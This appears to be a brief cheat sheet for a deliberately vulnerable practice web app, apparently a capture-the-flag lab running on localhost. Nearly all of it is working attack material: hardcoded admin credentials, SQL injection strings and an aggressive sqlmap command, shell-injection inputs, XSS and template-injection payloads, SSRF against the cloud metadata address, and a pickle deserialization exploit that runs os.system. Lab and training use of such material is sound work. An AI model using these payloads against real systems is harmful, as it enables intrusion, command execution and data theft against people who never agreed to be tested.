Hardcoded credentials: admin / adminpass
POST /login username=admin password=adminpass
Unsanitized SQL string construction.
?id=1 OR 1=1 ?id=1 UNION SELECT 1, sqlite_version(), 3
sqlmap -u "http://localhost:5000/user?id=1" --batch --risk=3 --level=5
Unescaped shell execution.
?host=127.0.0.1; ls ?host=127.0.0.1 && whoami
User input rendered without sanitization.
<script>alert('XSS')</script>
{{7*7}} => 49
{{config.items()}}
URL fetch with no validation.
?url=http://127.0.0.1:5000 ?url=http://169.254.169.254/latest/meta-data/
Loads uploaded pickled file directly.
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('touch /tmp/pwned',))
pickle.dump(Exploit(), open("exploit.pkl", "wb"))
Submit flags discovered through exploitation.
| Route | Discovery Method |
|---|---|
| /secret_admin | SSRF or forced browsing |
| .hidden_assets/robots.txt | URL probing |